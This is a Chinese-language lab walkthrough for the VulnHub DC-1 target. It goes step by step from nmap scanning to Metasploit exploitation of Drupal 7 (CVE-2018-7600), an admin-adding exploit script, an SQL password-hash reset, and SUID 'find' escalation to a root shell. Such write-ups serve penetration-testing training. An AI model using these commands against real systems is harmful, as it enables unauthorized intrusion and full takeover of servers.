靶机地址
https://www.vulnhub.com/entry/dc-1,292/
知识点
-
drupal7框架漏洞CVE-2018-7600
-
msf的框架模块利用getshell
-
SUID-find提权
思路总结
-
信息收集(http端口,源码是否有信息泄露,CMS框架是否存在框架漏洞)
-
msf利用框架漏洞获取普通用户shell
-
Drupal7的用户密码重置成功进入web端后台(尝试中间件漏洞提权)
-
SUID提权(终端提权)
渗透流程
一、主机发现
1.攻击机
#ip
192.168.186.135
2.靶机
Nmap扫描
nmap -sP 192.168.186.0/24
192.168.186.158
ARP扫描
arp-scan -l #探测同一区域中存活主机
二、端口扫描
nmap强扫描
nmap -A -sV -T4 -p- 192.168.186.158
三、实施攻击
1.HTTP端口信息收集
(1)80端口源码查看
(2)无敏感信息,有CMS(内容管理系统)版本
(3)robots协议查看
2.漏洞利用
(1)CMS版本为drupal 7,搜索查看是否存在CMS框架漏洞
(2)存在CMS漏洞,进入msf进行cms漏洞模块利用
msfconsole #进入msf控制台
(3)搜索drupal模块
search drupal #搜索对应模块
(4)使用漏洞模块
use #对应模块
(4)设置模块使用的对象,并且运行脚本(如图则成功利用脚本连接上靶机)
set rhosts 192.168.186.158 #设置模块应用的主机IP(存在漏洞的靶机)
run #运行模块脚本
3.获取shell
shell #获得shell
python -c 'import pty;pty.spawn("/bin/bash")' #美化shell
(1)基本信息收集
whoami #查看当前用户
pwd #查看当前所在路径
ls #查看当前目录下文件
(2)拿到提示信息(配置文件)
(3)搜索Drupal系统的默认配置文件信息
(4)find命令找出配置文件所在位置
find / -name 文件名 #在根目录下根据文件名进行查找
find / -name default.settings.php
(5)查看配置信息(得到数据库信息)
(6)进入数据库
mysql -u 数据库名 -p
mysql -u dbuser -p
(7)数据库信息收集
show databases; #列出数据库
use drupaldb; #进入drupaldb数据库
show tables; #列出数据库中所有的表
(8)查看数据库用户表(发现管理员用户,但是密码是加密的)
select *from users #列出users表中的信息
4.信息利用
(1)知道管理员用户的存在,如果能修改管理员用户密码,就能进入后台,查询一下是否存在默认重置密码功能
(2)官方提供两种解决办法,注册新的管理员用户或者修改密码
方法一
(1)msf查询下针对drupal框架攻击的脚本
searchsploit drupal #发现可以利用脚本增加admin用户
(2)查看下靶机的drupal版本
cat /var/www/includes/bootstrap.inc | grep VERSION
(3)版本满足条件,可以使用增加admin用户的脚本,
searchsploit 34992.py -p #查看脚本的路径
(4)访问HTTP路径,下载脚本修改或者通过命令直接修改
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.186.158 -u admin1 -p 666 #python3环境可能会报错
(1)找到系统默认的加密scripts脚本,
find / -name scripts #drupal默认hash加密脚本是在drupal7项目所在目录,所以是在网站的根目录下
(2)得到新密码的hash值
php scripts/password-hash.sh 新密码
php scripts/password-hash.sh 666
(3)回到数据库,重置管理员密码
update drupaldb.users set pass="$S$DGbrDoNc82wkOtVKRZ/oWQ7tJN1Et5GaqpZ4N5BDzaWzihbT7VGB" where name="admin";
(4)以管理员身份登录后台
(5)翻找历史记录
/etc/passwd #一个文本文件,存储用户账号信息,用户ID,组ID,shell等
/etc/shadow #是/etc/passwd的影子文件,存有密码信息,通常需要root权限才能访问
(6)查看/etc/passwd文件(发现flag4在/home/flag4目录下)
(7)拿到flag4的提示,最后一个flag在root目录中
5.提权
一、web端提权
(1)wappalyzor抓取指纹信息
(2)查询是否存在中间件漏洞(并不存在)
二、终端提权
SUID-find提权
(1)查找具备SUID权限的可执行文件,并且文件拥有者为root
#不同系统对应命令不同,都试一下
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb{}
#常见的可以利用SUID提权的文件
nmap
vim
find
bash
more
less
nanocp
awk
(2)有find文件,再次确认find文件的文件拥有者(属主)
ls -l /usr/bin/find
(3)find命令直接提权
find / -exec '/bin/sh' \;